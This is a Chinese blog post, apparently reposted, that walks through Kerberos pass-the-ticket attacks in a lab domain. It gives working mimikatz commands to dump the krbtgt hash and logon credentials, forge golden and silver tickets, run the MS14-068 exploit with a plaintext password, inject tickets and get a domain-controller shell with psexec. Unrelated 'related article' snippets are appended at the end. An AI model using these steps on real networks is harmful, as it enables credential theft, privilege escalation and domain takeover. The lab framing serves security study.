横向移动 --> PTT(Kerberos)

news2024/11/18 18:46:54

好不容易到了周末,终于有时间来写自己的东西了,那么就来讲一下PTT吧


目录

1.PTT(Past The Ticket)

2.Golden Ticket

1.Krbtgt的NTLM hash

 2.获取域的sid

3.查看要伪造的管理员

4.查看域控名字

5.查看并且清除票据

6.制造黄金票据

3.Sliver Ticket

1.获取服务用户的hash

2.域sid

3.查看并且清除票据

4.伪造白银票据

3.MS14-068

1."3011780"补丁 

2.获取域控的IP

3.域sid

4.漏洞攻击!!!


1.PTT(Past The Ticket)

票据传递攻击(PtT)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。

通过PTT,我们可以在横向移动的时候获得许多意想不到的效果

而PTT的手法一般可以分为以下三种

  1. 黄金票据
  2. 白银票据
  3. MS14-068

2.Golden Ticket

黄金票据,是最厉害的一张票,就是伪造了TGT和sessionkey ,但是前提得知道Krbtgt的ntlm hash  ,下面我们就来演示一下黄金票据

1.Krbtgt的NTLM hash

首先,也是最重要的就是拿下krbtgt的hash了

mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:god.org  /user:krbtgt "

可以看见是能拿到krbtgt的ntlm hash的 

 2.获取域的sid

敲上以下的命令

whoami \all

除了那个-1000  直接复制前面的数值就好了 

3.查看要伪造的管理员

net localgroup administrators 

 这条命令可以帮助我们查看域内的管理员,并且知道要伪造的人

4.查看域控名字

net user /domain

可以看见域控的名字叫做 owa 

kerberos::purge

5.查看并且清除票据

这个可以查看当前的票据信息

kerberos::list

 可以看见现在是liukaifeng01的这个账号的票据

那现在肯定是没有权限访问DC的c盘的的

然后清除一下票据

kerberos::purge

可以看见我们是没有了任何的票据

6.制造黄金票据

通过上面的大杂烩,我们就可以制造黄金票据了

kerberos::golden /admin:administrator /domain:god.org  /sid:s-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /ptt

来解释一下里面的参数

  1. golden 就是金票的意思
  2. /admin  指定要伪造的管理员的账号
  3. /domain  这个域的名字
  4. /sid  这个域的sid
  5. /krbtgt krbtgt的用户的hash
  6. /ptt  网上有一些版本是先生成票据,再写入内存,我就直接一步到位了!!

可以看见mimikatz就直接帮我们操作了

这时候我们去klist查看一下,可以看见我们的客户端就变成了administrator了,也即是成功的伪造了管理员的身份

这时候我们就能访问到DC的c盘了 

还是那句话,查看文件只是你的谎言,拿shell才是你的真相

那么就用psexec来横向一波

psexec.exe \\owa cmd.exe

 

成功getshll,下一步就是上线cs了,这个相信大家都很熟了,就不在赘述了

3.Sliver Ticket

白银票据,只能让我们去访问对应的服务,而且一旦服务器开启了pac拓展,那么银票就没用了

但是在这里还是来讲一下这张ST

1.获取服务用户的hash

这步直接在域控上跑就好

mimikatz.exe "privilege::debug"  "sekurlsa::logonpasswords" 

记录下对应的hash 

2.域sid

这个不用多说

whoami /all

3.查看并且清除票据

kerberos::list
kerberos::purge   //这两步都是在mimikatz中运行

4.伪造白银票据

mimikatz "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLMHash> /user:<用户名> /ptt" exit

然后后面的步骤大家伙都已经很熟悉了吧!!!

3.MS14-068

在开始之前,大家还记不记得我刚才说的防止白银票据的方法,就是启用PAC,像这样

但是,加了就无懈可击了嘛??? 那肯定不是!!!

还记得我们之前讲的MS14-068吗?总结一下漏洞原理

  1. 只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证,因此可以利用不需要相关密钥的算法,如MD5,实现内容的任意更改
  2. KDC允许用户在Kerberos过程中插入PAC

差不多是这样

知道了原理之后我们就可以来进行复现了

1."3011780"补丁 

先去看看有没有打补丁,否则一切白费

systeminfo | find  "3011780"

可以,开搞!!!!!

2.获取域控的IP

ping "域控名字"  

3.域sid

whoami /all 

4.漏洞攻击!!!

ms14-068.exe -u liukaifeng01@god.org -p hongrisec@2024 -s S-1-5-21-2952760202-1353902439-2381784089-1000  -d 192.168.52.138

还是来讲一下本机的参数

  1. -u 后面是本机的   用户名@域名
  2. -p  指的是本机的密码
  3. -s 完整的域sid
  4. -d 域控的ip

然后就可以拿到一张TGT啦

   

然后就可以将它写入内存!!

Kerberos:ptc TGT_liukaifeng01@god.org.ccache

其中PTC是(Pass the Certificate )证书传递攻击 

然后就可以看见我们的内存中多了一张这样的票

然后就可以横向移动了

psexec.exe \\owa cmd.exe

只不过返回的东西有点奇怪 

换一下编码

chcp 65001

这,也算好了一点了吧 


以上,就是PTT的三种常见攻击方法啦!!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1521538.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python 基础语法:基本数据类型(字典)

为什么这个基本的数据类型被称作字典呢&#xff1f;这个是因为字典这种基本数据类型的一些行为和我们日常的查字典过程非常相似。 通过汉语字典查找汉字&#xff0c;首先需要确定这个汉字的首字母&#xff0c;然后再通过这个首字母找到我们所想要的汉字。这个过程其实就代表了…

【Algorithms 4】算法(第4版)学习笔记 18 - 4.4 最短路径

文章目录 前言参考目录学习笔记0&#xff1a;引入介绍1&#xff1a;APIs1.1&#xff1a;API&#xff1a;加权有向边1.2&#xff1a;Java 实现&#xff1a;加权有向边1.3&#xff1a;API&#xff1a;加权有向图1.4&#xff1a;Java 实现&#xff1a;加权有向图1.5&#xff1a;AP…

NVidia NX 中 ROS serial软件包的安装

自己装的ROS是noetic版本&#xff0c;受限于网络&#xff0c;直接用命令安装串口包不行。于是手动安装了一次。 1 下载源码 git clone https://github.com/wjwwood/serial.git 或者直接在浏览器里面输入 https://github.com/wjwwood/serial.git 2 解压 然后在serial&#xf…

【考研数学】高等数学总结

文章目录 第一章 极限 函数 连续1.1 极限存在准则及两个重要极限1.1.1 夹逼定理1.1.1.1 数列夹逼定理1.1.1.2函数夹逼定理 1.1.2 两个重要极限1.1.2.1 极限公式11.1.2.1.1 证明1.1.2.1.2 数列的单调有界收敛准则1.1.2.1.2.1 二项式定理1.1.2.1.2.2 证明 1.1.2.2 极限公式21.1.2…

未来洞见:亚信安慧AntDB在数据可靠性上的愿景

和国外成熟稳定的商业数据库相比&#xff0c;国产数据库在性能、稳定性、生态等方面存在一定差距&#xff0c;我国数据库的自主可控替换&#xff0c;也不是简单的以库换库&#xff0c;而是用新体系替换旧体系&#xff0c;在架构、研发、上线、运维等方面&#xff0c;全面降低对…

Pyqt5中,QGroupBox组件标题字样(标题和内容样式分开设置)相对于解除继承

Python代码示例&#xff1a; import sys from PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QGroupBox, QLabelclass MyApp(QWidget):def __init__(self):super().__init__()# 创建一个 QVBoxLayout 实例layout QVBoxLayout()# 创建 QGroupBox 实例self.grou…

系统分析与设计作业 --- 酒店管理系统(2~3周)

第二周 作业一&#xff1a; &#xff08;1&#xff09;需求分析NABCD 我们的项目是一个酒店管理系统&#xff0c;所i对应的NABCD描述 NABCD是一种产品描述框架&#xff0c;用于全面阐述产品的各个方面。其中&#xff0c;N代表需求&#xff08;Need&#xff09;&#xff0c;描…

5_springboot_shiro_jwt_多端认证鉴权_禁用Cookie

1. Cookie是什么 ​ Cookie是一种在客户端&#xff08;通常是用户的Web浏览器&#xff09;和服务器之间进行状态管理的技术。当用户访问Web服务器时&#xff0c;服务器可以向用户的浏览器发送一个名为Cookie的小数据块。浏览器会将这个Cookie存储在客户端&#xff0c;为这个Co…

字符串分割(C++)

经常碰到字符串分割的问题&#xff0c;这里总结下&#xff0c;也方便我以后使用。 一、用strtok函数进行字符串分割 原型&#xff1a; char *strtok(char *str, const char *delim); 功能&#xff1a;分解字符串为一组字符串。 参数说明&#xff1a;str为要分解的字符串&am…

LeetCode每日一题 将有序数组转换为二叉搜索树(分治)

题目描述 给你一个整数数组 nums &#xff0c;其中元素已经按 升序 排列&#xff0c;请你将其转换为一棵平衡二叉搜索树。 示例 1&#xff1a; 输入&#xff1a;nums [-10,-3,0,5,9] 输出&#xff1a;[0,-3,9,-10,null,5] 解释&#xff1a;[0,-10,5,null,-3,null,9] 也将被视…

[RAM] RAM 突发传输(Burst ,Burst size, length) | Burst 读写过程与时序 精讲

主页&#xff1a; 元存储博客 文章目录 前言1. Burst 基本概念含义Burst Width &Burst Length 2. CPU Burst mode3. 总线 burst mode总线的仲裁总线突发传输时序 4. Burst Chop (突发终止)5. Burst Mode 应用什么时候用突发模式 总结 前言 在DMA&#xff08;直接内存访问&…

MD5算法:密码学中的传奇

title: MD5算法&#xff1a;密码学中的传奇 date: 2024/3/15 20:08:07 updated: 2024/3/15 20:08:07 tags: MD5起源算法原理安全分析优缺点比较技术改进示例代码应用趋势 MD5算法起源&#xff1a; MD5&#xff08;Message Digest Algorithm 5&#xff09;算法是由MIT的计算机…

Web框架盘点:好用又实用的技术解析

​随着2024年的临近&#xff0c;我们满怀热情地为新的一年制定计划&#xff0c;探索未来一年可以学习或实现的目标。此时是探索未来一年值得学习的框架、理解其功能和特点的最佳时机。我们将以2023年JavaScript新星为指南&#xff0c;力求保持客观公正的态度。对于每个值得关注…

调皮的String及多种玩法(下部)

&#x1f468;‍&#x1f4bb;作者简介&#xff1a;&#x1f468;&#x1f3fb;‍&#x1f393;告别&#xff0c;今天 &#x1f4d4;高质量专栏 &#xff1a;☕java趣味之旅 欢迎&#x1f64f;点赞&#x1f5e3;️评论&#x1f4e5;收藏&#x1f493;关注 &#x1f496;衷心的希…

修复 error Delete `␍` prettier/prettier 错误

修复 error Delete ␍ prettier/prettier 错误 问题背景报错信息报错原因解决办法修改CRLF----针对单个文件yarn run lint --fix 一键修复&#xff08;官方提供&#xff09; 问题背景 今天在使用 openapi 自动生成前端接口代码的时候&#xff0c;爆了一个类似 eslint 规范的错…

C/C++炸弹人游戏

参考书籍《啊哈&#xff0c;算法》&#xff0c;很有意思的一本算法书&#xff0c;小白也可以看懂&#xff0c;详细见书&#xff0c;这里只提供代码和运行结果。 这里用到的是枚举思想&#xff0c;还有更好地搜索做法。 如果大家有看不懂的地方或提出建议&#xff0c;欢迎评论区…

外包干了9天,技术退步明显。。。。。

先说一下自己的情况&#xff0c;本科生&#xff0c;2018年我通过校招踏入了南京一家软件公司&#xff0c;开始了我的职业生涯。那时的我&#xff0c;满怀热血和憧憬&#xff0c;期待着在这个行业中闯出一片天地。然而&#xff0c;随着时间的推移&#xff0c;我发现自己逐渐陷入…

Django之Cookie

Django之Cookie 目录 Django之Cookie介绍Django操作Cookie设置Cookie浏览器查看Cookie 获取Cookie设置超时Cookie注销Cookie 模拟登录验证登录验证装饰器登录验证装饰器-升级版 介绍 当我们上网使用社交媒体或者购物时&#xff0c;浏览器需要通过一种方式来记住我们。想象一下…

Java宝典-异常

目录 1. 异常的分类1.1 运行时异常1.2 编译时异常 2. 异常的抛出2.1 throw2.2 throws 3. 异常的捕获3.1 try-catch3.2 finally 4. 异常执行的过程5. 自定义异常 在Java中&#xff0c;异常(Exception)是指程序发生不正常的行为&#xff0c;异常其实就是一个一个的类。 1. 异常的…

算法-贪心-122. 糖果传递

题目 有 n个小朋友坐成一圈&#xff0c;每人有 a[i]个糖果。 每人只能给左右两人传递糖果。 每人每次传递一个糖果代价为 1。 求使所有人获得均等糖果的最小代价。 输入格式 第一行输入一个正整数 n&#xff0c;表示小朋友的个数。 接下来 n 行&#xff0c;每行一个整数…